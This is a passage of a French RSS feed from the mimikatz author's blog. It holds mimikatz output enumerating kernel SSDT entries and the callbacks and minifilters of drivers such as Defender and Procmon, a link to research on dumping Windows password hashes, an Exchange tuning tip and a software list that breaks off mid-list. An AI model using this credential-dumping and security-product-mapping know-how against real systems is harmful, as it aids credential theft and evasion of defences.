		<pubDate>Mon, 20 Feb 2012 22:14:19 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[mimikatz]]></category>
		<category><![CDATA[ingénierie sociale]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1314</guid>
		<description><![CDATA[c&#8217;est vrai, mimikatz ne fais pas tout. (mais c&#8217;est bien essayé)]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/02/please.png" alt="please password" /></p>
<p>c&#8217;est vrai, mimikatz ne fais pas tout.<br />
<em>(mais c&#8217;est bien essayé)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/mimikatz/ingenierie-sociale-niveau-0/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mimikatz : SSDT</title>
		<link>http://blog.gentilkiwi.com/securite/mimikatz/ssdt?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ssdt</link>
		<comments>http://blog.gentilkiwi.com/securite/mimikatz/ssdt#comments</comments>
		<pubDate>Fri, 06 Jan 2012 01:50:55 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[mimikatz]]></category>
		<category><![CDATA[KeServiceDescriptorTable]]></category>
		<category><![CDATA[ssdt]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1170</guid>
		<description><![CDATA[Prochainement documenté (même en x64 ;) :]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/01/maggie_mecanique.jpg" alt="maggie_mecanique" /></p>
<p>Prochainement documenté (même en x64 ;) :</p>
<pre class="brush: plain; title: ; notranslate">mimikatz # [...]
kSSDT - KeServiceDescriptorTable        : FFFFF80002F00940
kSSDT - KeServiceDescriptorTable.TableSize      : 401
[   0]  : FFFFF800030DE880 [ntoskrnl.exe+4774016]
[   1]  : FFFFF80002FC4370 [ntoskrnl.exe+3617648]
[   2]  : FFFFF80002CC57A0 [ntoskrnl.exe+477088]
[...]
[ 399]  : FFFFF800030ED270 [ntoskrnl.exe+4833904]
[ 400]  : FFFFF80002CC1D50 [ntoskrnl.exe+462160]</pre>
<pre class="brush: plain; title: ; notranslate">mimikatz # [...]
kSSDT - KeServiceDescriptorTable        : FFFFF800011B4D80
kSSDT - KeServiceDescriptorTable.TableSize      : 296
[   0]  : FFFFF80001361FD0 [ntoskrnl.exe+3547088]
[   1]  : FFFFF8000127DF60 [ntoskrnl.exe+2613088]
[   2]  : FFFFF80001026B40 [ntoskrnl.exe+158528]
[...]
[ 294]  : FFFFF800013B38B0 [ntoskrnl.exe+3881136]
[ 295]  : FFFFF800013B3820 [ntoskrnl.exe+3880992]</pre>
<pre class="brush: plain; title: ; notranslate">mimikatz # [...]
kSSDT - KeServiceDescriptorTable        : 805530A0
kSSDT - KeServiceDescriptorTable.TableSize      : 284
[   0]  : 80599A74 [ntkrnlpa.exe+797300]
[   1]  : 805E7820 [ntkrnlpa.exe+1116192]
[   2]  : 805EB066 [ntkrnlpa.exe+1130598]
[...]
[ 282]  : 8060F4AC [ntkrnlpa.exe+1279148]
[ 283]  : 805C18FA [ntkrnlpa.exe+960762]</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/mimikatz/ssdt/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exchange 2007 et utilisation mémoire</title>
		<link>http://blog.gentilkiwi.com/exchange/utilisation-memoire?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=utilisation-memoire</link>
		<comments>http://blog.gentilkiwi.com/exchange/utilisation-memoire#comments</comments>
		<pubDate>Tue, 03 Jan 2012 23:36:21 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Exchange]]></category>
		<category><![CDATA[8192]]></category>
		<category><![CDATA[exchange 2007]]></category>
		<category><![CDATA[mémoire]]></category>
		<category><![CDATA[msExchESEParamCacheSizeMax]]></category>
		<category><![CDATA[store.exe]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1161</guid>
		<description><![CDATA[Dans le cas d&#8217;un lab ou d&#8217;une petite organisation, le cache de base de données Exchange peut se montrer très gourmand sans réel gain. Cela se traduit par un processus store.exe utilisant énormément de mémoire. La taille du cache peut &#8230; <a href="http://blog.gentilkiwi.com/exchange/utilisation-memoire">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Dans le cas d&#8217;un lab ou d&#8217;une petite organisation, le cache de base de données Exchange peut se montrer très gourmand sans réel gain.<br />
Cela se traduit par un processus <code>store.exe</code> utilisant énormément de mémoire.</p>
<p>La taille du cache peut être diminuée via la configuration LDAP du moteur de base de donnée ESE.</p>
<ul>
<li>Chemin de l&#8217;objet : <code>Configuration/Services/Microsoft Exchange/**organisation**/Administrative Groups/**groupe administratif**/Servers/**serveur ciblé**/Information Store</code></li>
<li>Attribut : <code>msExchESEParamCacheSizeMax</code> (nombre de pages)</li>
<li>Valeur : mémoire maximale / 8192 (taille d&#8217;une page sous Exchange 2007)</li>
</ul>
<p>Exemple pour 384 Mo : <code>(384 * 1024 * 1024) / 8192 = 49152</code></p>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/01/msExchESEParamCacheSizeMax.png" alt="msExchESEParamCacheSizeMax" /></p>
<p>Ne pas oublier de redémarrer le service : &laquo;&nbsp;Microsoft Exchange &#8211; Banque d&#8217;informations&nbsp;&raquo; / <code>msexchangeis</code></p>
<p>Source : <a href="http://technet.microsoft.com/library/bb691304.aspx">http://technet.microsoft.com/library/bb691304.aspx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/exchange/utilisation-memoire/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mimikatz : notifications Kernel</title>
		<link>http://blog.gentilkiwi.com/securite/mimikatz/notifications-kernel?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=notifications-kernel</link>
		<comments>http://blog.gentilkiwi.com/securite/mimikatz/notifications-kernel#comments</comments>
		<pubDate>Sun, 25 Dec 2011 21:19:05 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[mimikatz]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[pilote]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[registry]]></category>
		<category><![CDATA[thread]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1152</guid>
		<description><![CDATA[Prochainement documenté : Cf: http://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/12/youdidntseeanything.gif" alt="youdidntseeanything" /></p>
<p>Prochainement documenté :</p>
<pre class="brush: plain; title: ; notranslate">mimikatz # [...]
kListNotifyProcesses

[00] FFFFF80002C971E0 [ntoskrnl.exe+295392]
[01] FFFFF880017D91E0 [ksecdd.sys+74208]
[02] FFFFF8800126A3D0 [cng.sys+50128]
[03] FFFFF88001AE9950 [tcpip.sys+469328]
[04] FFFFF88000E8DBA0 [CI.dll+97184]
[05] FFFFF88004516D10 [MpFilter.sys+146704]
[06] FFFFF88006AE3954 [vmci.sys+35156]
[07] FFFFF8800681CD2C [peauth.sys+101676]
[08] FFFFF880071D2EF4 [PROCMON20.SYS+12020]

mimikatz # [...]
kListNotifyThreads

[00] FFFFF88004517584 [MpFilter.sys+148868]
[01] FFFFF880071D3094 [PROCMON20.SYS+12436]

mimikatz # [...]
kListNotifyImages

[00] FFFFF80002FE87C0 [ntoskrnl.exe+3774400]
[01] FFFFF880045172D4 [MpFilter.sys+148180]
[02] FFFFF880071D3338 [PROCMON20.SYS+13112]

mimikatz # [...]
kListNotifyRegistry

[00] FFFFF8800450E9B8 [MpFilter.sys+113080] - alt 425000 - cookie 0x1ccc334922c6342
[01] FFFFF880071D69D0 [PROCMON20.SYS+27088] - alt 425000 - cookie 0x1ccc334922c6343

mimikatz # [...]
kMiniFiltersList

PROCMON20
[...]
 Instance 1 @ \Device\HarddiskVolume2
  [0x16 CREATE                  ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x17 CREATE_NAMED_PIPE       ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x18 CLOSE                   ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x19 READ                    ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x1a WRITE                   ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x1b QUERY_INFORMATION       ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x1c SET_INFORMATION         ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x1d QUERY_EA                ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x1e SET_EA                  ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x1f FLUSH_BUFFERS           ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x20 QUERY_VOLUME_INFORMATION] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x21 SET_VOLUME_INFORMATION  ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x22 DIRECTORY_CONTROL       ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x23 FILE_SYSTEM_CONTROL     ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x24 DEVICE_CONTROL          ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x25 INTERNAL_DEVICE_CONTROL ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x26 SHUTDOWN                ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / 0000000000000000 [?]
  [0x27 LOCK_CONTROL            ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x28 CLEANUP                 ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x29 CREATE_MAILSLOT         ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x2a QUERY_SECURITY          ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x2b SET_SECURITY            ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x2f QUERY_QUOTA             ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x30 SET_QUOTA               ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
  [0x31 PNP                     ] FFFFF880071D49E8 [PROCMON20.SYS+18920] / FFFFF880071D4ED8 [PROCMON20.SYS+20184]
[...]
MpFilter
[...]
 Instance 1 @ \Device\HarddiskVolume2
  [0x16 CREATE                  ] FFFFF88004500E90 [MpFilter.sys+56976] / FFFFF88004503BBC [MpFilter.sys+68540]
  [0x1a WRITE                   ] FFFFF8800450B0D0 [MpFilter.sys+98512] / FFFFF880044F5778 [MpFilter.sys+10104]
  [0x1c SET_INFORMATION         ] FFFFF88004505144 [MpFilter.sys+74052] / FFFFF88004505428 [MpFilter.sys+74792]
  [0x23 FILE_SYSTEM_CONTROL     ] FFFFF88004514D88 [MpFilter.sys+138632] / FFFFF88004514F10 [MpFilter.sys+139024]
  [0x28 CLEANUP                 ] FFFFF880044FBD54 [MpFilter.sys+36180] / 0000000000000000 [?]
[...]
luafv
 Instance 0 @ \Device\HarddiskVolume2
  [0x16 CREATE                  ] FFFFF88000DE8DAC [luafv.sys+73132] / FFFFF88000DE9474 [luafv.sys+74868]
  [0x17 CREATE_NAMED_PIPE       ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x18 CLOSE                   ] FFFFF88000DE984C [luafv.sys+75852] / 0000000000000000 [?]
  [0x19 READ                    ] FFFFF88000DD833C [luafv.sys+4924] / FFFFF88000DD83CC [luafv.sys+5068]
  [0x1a WRITE                   ] FFFFF88000DD8414 [luafv.sys+5140] / FFFFF88000DD83CC [luafv.sys+5068]
  [0x1b QUERY_INFORMATION       ] FFFFF88000DE9E68 [luafv.sys+77416] / FFFFF88000DD8570 [luafv.sys+5488]
  [0x1c SET_INFORMATION         ] FFFFF88000DE9C84 [luafv.sys+76932] / FFFFF88000DD851C [luafv.sys+5404]
  [0x1d QUERY_EA                ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x1e SET_EA                  ] FFFFF88000DD8414 [luafv.sys+5140] / 0000000000000000 [?]
  [0x1f FLUSH_BUFFERS           ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x20 QUERY_VOLUME_INFORMATION] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x21 SET_VOLUME_INFORMATION  ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x22 DIRECTORY_CONTROL       ] FFFFF88000DE9FA4 [luafv.sys+77732] / FFFFF88000DD85D8 [luafv.sys+5592]
  [0x23 FILE_SYSTEM_CONTROL     ] FFFFF88000DEA0FC [luafv.sys+78076] / FFFFF88000DEA288 [luafv.sys+78472]
  [0x24 DEVICE_CONTROL          ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x25 INTERNAL_DEVICE_CONTROL ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x26 SHUTDOWN                ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x27 LOCK_CONTROL            ] FFFFF88000DEA2D4 [luafv.sys+78548] / 0000000000000000 [?]
  [0x28 CLEANUP                 ] FFFFF88000DE9A58 [luafv.sys+76376] / FFFFF88000DE9BAC [luafv.sys+76716]
  [0x29 CREATE_MAILSLOT         ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x2a QUERY_SECURITY          ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x2b SET_SECURITY            ] FFFFF88000DD8414 [luafv.sys+5140] / 0000000000000000 [?]
  [0x2c POWER                   ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x2d SYSTEM_CONTROL          ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x2e DEVICE_CHANGE           ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x2f QUERY_QUOTA             ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x30 SET_QUOTA               ] FFFFF88000DD82D8 [luafv.sys+4824] / 0000000000000000 [?]
  [0x31 PNP                     ] FFFFF88000DEA314 [luafv.sys+78612] / 0000000000000000 [?]
FileInfo
[...]
 Instance 1 @ \Device\HarddiskVolume2
  [0x16 CREATE                  ] FFFFF8800159C7B8 [fileinfo.sys+30648] / FFFFF8800159CA14 [fileinfo.sys+31252]
  [0x18 CLOSE                   ] FFFFF8800159CF5C [fileinfo.sys+32604] / FFFFF88001596980 [fileinfo.sys+6528]
  [0x19 READ                    ] FFFFF88001596078 [fileinfo.sys+4216] / FFFFF880015962F4 [fileinfo.sys+4852]
  [0x1a WRITE                   ] FFFFF88001596078 [fileinfo.sys+4216] / FFFFF880015962F4 [fileinfo.sys+4852]
  [0x1b QUERY_INFORMATION       ] FFFFF8800159689C [fileinfo.sys+6300] / FFFFF88001596980 [fileinfo.sys+6528]
  [0x1c SET_INFORMATION         ] FFFFF88001596404 [fileinfo.sys+5124] / FFFFF88001596578 [fileinfo.sys+5496]
  [0x1f FLUSH_BUFFERS           ] FFFFF8800159CFDC [fileinfo.sys+32732] / FFFFF88001596980 [fileinfo.sys+6528]
  [0x22 DIRECTORY_CONTROL       ] FFFFF8800159D020 [fileinfo.sys+32800] / FFFFF88001596980 [fileinfo.sys+6528]
  [0x23 FILE_SYSTEM_CONTROL     ] FFFFF8800159CCD4 [fileinfo.sys+31956] / FFFFF880015967D4 [fileinfo.sys+6100]
  [0x28 CLEANUP                 ] FFFFF8800159CE58 [fileinfo.sys+32344] / FFFFF8800159CE84 [fileinfo.sys+32388]
  [0x31 PNP                     ] FFFFF8800159D1C0 [fileinfo.sys+33216] / FFFFF8800159696C [fileinfo.sys+6508]
[...]</pre>
<p>Cf: <a href="http://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel">http://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/mimikatz/notifications-kernel/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joyeux Nowel 2011</title>
		<link>http://blog.gentilkiwi.com/divers/joyeux-nowel-2011?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=joyeux-nowel-2011</link>
		<comments>http://blog.gentilkiwi.com/divers/joyeux-nowel-2011#comments</comments>
		<pubDate>Sun, 25 Dec 2011 00:05:28 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Divers]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1128</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div class="wp-caption alignnone" style="width: 480px"><a href="http://www.svfelicity.com/journal/newzeal2.htm"><img src="http://blog.gentilkiwi.com/wp-content/uploads/2011/12/kiwibird.jpg" alt="Kiwi Tree" /></a><p class="wp-caption-text">by Cathy Siegismund</p></div>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/divers/joyeux-nowel-2011/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dump Windows password hashes efficiently</title>
		<link>http://blog.gentilkiwi.com/securite/mimikatz/dump-windows-password-hashes-efficiently?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dump-windows-password-hashes-efficiently</link>
		<comments>http://blog.gentilkiwi.com/securite/mimikatz/dump-windows-password-hashes-efficiently#comments</comments>
		<pubDate>Thu, 22 Dec 2011 01:28:15 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[mimikatz]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[hashes]]></category>
		<category><![CDATA[mimkatz]]></category>
		<category><![CDATA[ntds]]></category>
		<category><![CDATA[sam]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1121</guid>
		<description><![CDATA[Une fois n&#8217;est pas coutume, un lien vers une série d&#8217;articles sur la récupération des hashes de Windows. http://bernardodamele.blogspot.com/search/label/dump Avec en bonus un classeur synthétisant les fonctionnalités et limites des outils connus : https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc Merci Bernardo pour ces recherches ! &#8230; <a href="http://blog.gentilkiwi.com/securite/mimikatz/dump-windows-password-hashes-efficiently">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Une fois n&#8217;est pas coutume, un lien vers une série d&#8217;articles sur la récupération des hashes de Windows.<br />
<a href="http://bernardodamele.blogspot.com/search/label/dump">http://bernardodamele.blogspot.com/search/label/dump</a></p>
<p>Avec en bonus un classeur synthétisant les fonctionnalités et limites des outils connus :<br />
<a href="https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc">https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc</a></p>
<p>Merci Bernardo pour ces recherches !</p>
<p><em>en plus mimikatz y est abordé ;)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/mimikatz/dump-windows-password-hashes-efficiently/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sélection de programmes</title>
		<link>http://blog.gentilkiwi.com/divers/selection-de-programmes?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=selection-de-programmes</link>
		<comments>http://blog.gentilkiwi.com/divers/selection-de-programmes#comments</comments>
		<pubDate>Thu, 01 Dec 2011 12:00:27 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Divers]]></category>
		<category><![CDATA[programmes]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1003</guid>
		<description><![CDATA[Parce que j&#8217;en utilise beaucoup Parce que j&#8217;en oublie beaucoup Base Office &#8211; http://office.microsoft.com/fr-fr/ Firefox &#8211; http://www.mozilla.org/fr/firefox/ 7-zip &#8211; http://www.7-zip.org/ Sysinternals Suite &#8211; http://technet.microsoft.com/en-us/sysinternals/bb842062 Adobe Reader &#8211; http://www.adobe.com/fr/products/reader.html Développement Visual Studio &#8211; http://msdn.microsoft.com/fr-fr/vstudio Visual Studio Express &#8211; http://msdn.microsoft.com/fr-fr/express/ Windows Software &#8230; <a href="http://blog.gentilkiwi.com/divers/selection-de-programmes">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Parce que j&#8217;en utilise beaucoup<br />
Parce que j&#8217;en oublie beaucoup</p>
<ul>
<li>
<h2>Base</h2>
<ul>
<li>Office &#8211; <a href="http://office.microsoft.com/fr-fr/">http://office.microsoft.com/fr-fr/</a></li>
<li>Firefox &#8211; <a href="http://www.mozilla.org/fr/firefox/">http://www.mozilla.org/fr/firefox/</a></li>
<li>7-zip &#8211; <a href="http://www.7-zip.org/">http://www.7-zip.org/</a></li>
<li>Sysinternals Suite &#8211; <a href="http://technet.microsoft.com/en-us/sysinternals/bb842062">http://technet.microsoft.com/en-us/sysinternals/bb842062</a></li>
<li>Adobe Reader &#8211; <a href="http://www.adobe.com/fr/products/reader.html">http://www.adobe.com/fr/products/reader.html</a></li>
</ul>
</li>
<li>
<h2>Développement</h2>
<ul>
<li>Visual Studio &#8211; <a href="http://msdn.microsoft.com/fr-fr/vstudio">http://msdn.microsoft.com/fr-fr/vstudio</a></li>
<li>Visual Studio Express &#8211; <a href="http://msdn.microsoft.com/fr-fr/express/">http://msdn.microsoft.com/fr-fr/express/</a></li>
<li>Windows Software Development Kit (SDK) &#8211; <a href="http://www.microsoft.com/download/en/details.aspx?id=8442">http://www.microsoft.com/download/en/details.aspx?id=8442</a></li>
<li>Windows Driver Kit (WDK) &#8211; <a href="http://msdn.microsoft.com/en-us/windows/hardware/gg487463">http://msdn.microsoft.com/en-us/windows/hardware/gg487463</a></li>
<li>Oracle Java (JDK) &#8211; <a href="http://www.oracle.com/technetwork/java/javase/">http://www.oracle.com/technetwork/java/javase/</a></li>
<li>NetBeans &#8211; <a href="http://netbeans.org/">http://netbeans.org/</a></li>
<li>Eclipse &#8211; <a href="http://www.eclipse.org/">http://www.eclipse.org/</a></li>
<li>Cygwin &#8211; <a href="http://www.cygwin.com/">http://www.cygwin.com/</a></li>
<li>MASM32 &#8211; <a href="http://www.masm32.com/">http://www.masm32.com</a></li>
<li>Netwide Assembler (NASM) &#8211; <a href="http://www.nasm.us/">http://www.nasm.us/</a></li>
<li>Qt &#8211; <a href="http://qt.nokia.com/">http://qt.nokia.com/</a></li>
<li>Strawberry Perl &#8211; <a href="http://strawberryperl.com/">http://strawberryperl.com/</a></li>
<li>PHP &#8211; <a href="http://windows.php.net/">http://windows.php.net/</a></li>
<li>Dependency Walker &#8211; <a href="http://www.dependencywalker.com/">http://www.dependencywalker.com/</a></li>
</ul>
</li>
<li>
<h2>Dé-compilateur, débogueur, &#8230;</h2>
<ul>
<li>IDA &#8211; <a href="http://www.hex-rays.com/products/ida/">http://www.hex-rays.com/products/ida/</a></li>
<li>BinDiff &#8211; <a href="http://www.zynamics.com/bindiff.html">http://www.zynamics.com/bindiff.html</a></li>
<li>Hex-Rays Decompiler &#8211; <a href="http://www.hex-rays.com/products/decompiler/">http://www.hex-rays.com/products/decompiler/</a></li>
<li>WinDbg &#8211; <a href="http://msdn.microsoft.com/en-us/windows/hardware/gg463009">http://msdn.microsoft.com/en-us/windows/hardware/gg463009</a></li>
<li>Java Decompiler (JD-GUI) &#8211; <a href="http://java.decompiler.free.fr/">http://java.decompiler.free.fr/</a></li>
<li>ILSpy &#8211; <a href="http://wiki.sharpdevelop.net/ILSpy.ashx">http://wiki.sharpdevelop.net/ILSpy.ashx</a></li>
<li>JetBrains dotPeek &#8211; <a href="http://www.jetbrains.com/decompiler/">http://www.jetbrains.com/decompiler/</a></li>
<li>Immunity Debugger &#8211; <a href="http://immunityinc.com/products-immdbg.shtml">http://immunityinc.com/products-immdbg.shtml</a></li>
<li>OllyDbg &#8211; <a href="http://www.ollydbg.de/">http://www.ollydbg.de/</a></li>
<li>DebugView &#8211; <a href="http://technet.microsoft.com/en-us/sysinternals/bb896647">http://technet.microsoft.com/en-us/sysinternals/bb896647</a></li>
<li>API Monitor &#8211; <a href="http://www.rohitab.com/apimonitor">http://www.rohitab.com/apimonitor</a></li>
<li>Kernel Detective &#8211; <a href="http://www.at4re.com/download.php?view.2">http://www.at4re.com/download.php?view.2</a></li>
<li>Universal Extractor &#8211; <a href="http://legroom.net/software/uniextract">http://legroom.net/software/uniextract</a></li>
</ul>
</li>
<li>
<h2>Cryptographie</h2>
<ul>
<li>OpenSSL &#8211; <a href="http://www.openssl.org/">http://www.openssl.org/</a></li>
<li>Keytool-iui &#8211; <a href="http://code.google.com/p/keytool-iui/">http://code.google.com/p/keytool-iui/</a></li>
<li>xca &#8211; <a href="http://sourceforge.net/projects/xca/">http://sourceforge.net/projects/xca/</a></li>
<li>ASN.1 Editor &#8211; <a href="http://www.lipingshare.com/Asn1Editor/">http://www.lipingshare.com/Asn1Editor/</a></li>
<li>keytool &#8211; <em>inclus dans une JRE ou un JDK</em></li>
<li>jarsigner &#8211; <em>inclus dans un JDK</em></li>
<li>certutil &#8211; <em>inclus dans Windows NT >= 5.2, ou dans le <code>adminpack.msi</code> de 2003</em></li>
<li>certreq &#8211; <em>inclus dans Windows NT >= 5.2, ou dans le <code>adminpack.msi</code> de 2003</em></li>
<li>SignTool &#8211; <em>inclus dans les SDK, DDK ou Visual Studio Microsoft</em></li>
</ul>
</li>
<li>
<h2>Editeurs</h2>
<ul>
<li>UltraEdit &#8211; <a href="http://www.ultraedit.com/products/ultraedit.html">http://www.ultraedit.com/products/ultraedit.html</a></li>
<li>UltraCompare &#8211; <a href="http://www.ultraedit.com/products/ultracompare.html">http://www.ultraedit.com/products/ultracompare.html</a></li>
<li>Notepad++ &#8211; <a href="http://notepad-plus-plus.org/">http://notepad-plus-plus.org/</a></li>
</ul>
</li>
<li>
<h2>Serveurs et bases de données</h2>
<ul>
<li>Apache HTTPd &#8211; <a href="http://httpd.apache.org/">http://httpd.apache.org/</a></li>
<li>Tomcat &#8211; <a href="http://tomcat.apache.org/">http://tomcat.apache.org/</a></li>
<li>Oracle &#8211; <a href="http://www.oracle.com/technetwork/database/enterprise-edition/">http://www.oracle.com/technetwork/database/enterprise-edition/</a></li>
<li>MySQL &#8211; <a href="http://www.mysql.com/downloads/mysql/">http://www.mysql.com/downloads/mysql/</a></li>
<li>SQuirreL SQL &#8211; <a href="http://www.squirrelsql.org/">http://www.squirrelsql.org/</a></li>
<li>EseDbViewer &#8211; <a href="http://www.woanware.co.uk/?page_id=89">http://www.woanware.co.uk/?page_id=89</a></li>
</ul>
</li>
<li>
<h2>Virtualisation</h2>
<ul>
<li>VMware Workstation <a href="http://www.vmware.com/products/workstation/">http://www.vmware.com/products/workstation/</a></li>
<li>VMware vSphere Hypervisor (ESXi) &#8211; <a href="http://www.vmware.com/products/vsphere-hypervisor/">http://www.vmware.com/products/vsphere-hypervisor/</a></li>
<li>Virtual PC avec XP &#8211; <a href="http://www.microsoft.com/windows/virtual-pc/">http://www.microsoft.com/windows/virtual-pc/</a></li>
</ul>
</li>
<li>
<h2>Réseau</h2>
<ul>
<li>Remote Desktop Connection Manager (RDCMan) &#8211; <a href="http://www.microsoft.com/download/en/details.aspx?id=21101">http://www.microsoft.com/download/en/details.aspx?id=21101</a></li>
<li>Apache Directory Studio &#8211; <a href="http://directory.apache.org/studio/">http://directory.apache.org/studio/</a></li>
<li>PuTTY &#8211; <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">http://www.chiark.greenend.org.uk/~sgtatham/putty/</a></li>
